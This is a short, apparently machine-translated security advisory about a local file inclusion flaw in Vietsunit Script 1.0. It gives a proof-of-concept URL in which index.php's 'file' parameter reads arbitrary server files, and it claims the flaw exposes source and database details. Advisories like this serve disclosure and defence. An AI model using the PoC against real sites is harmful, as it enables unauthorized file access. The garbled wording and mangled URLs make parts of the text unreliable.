Vietsunit Script & lt; = (index. php) Local File Inclusion Defects and repair

 

----------------------------------------------------------------

Vietsunit Script <= (index. php) Local File Include Vulnerability

----------------------------------------------------------------

By BHG Security Center www.2cto.com Http: // black-hg.org

Developer: http://www.vietsunit.com/

Affected Versions: [1.0]

Test Platform: [centos 5.6/apache]

 

 

+ ----------------------- +

| LFI defect |

+ ----------------------- +

 

Overview:

You can get the database information and hack into

System to apply ~ Reading the source files to a website is very easy

To impress

 

# PoC (s ):

 

Http://www.bkjia.com/modules/index. php? Action = view & file = [LFI]

 

Http://www.bkjia.com/modules/index. php? Action = view & file =/home/uSER/public_html/intro. php

<> True

 

# Reference:

[1] For more information about this vulnerability (URL:

Http://www.hakipedia.com/index.php/Local_File_Inclusion)

 

 

 

========================================================== === [End] ============================================== ==============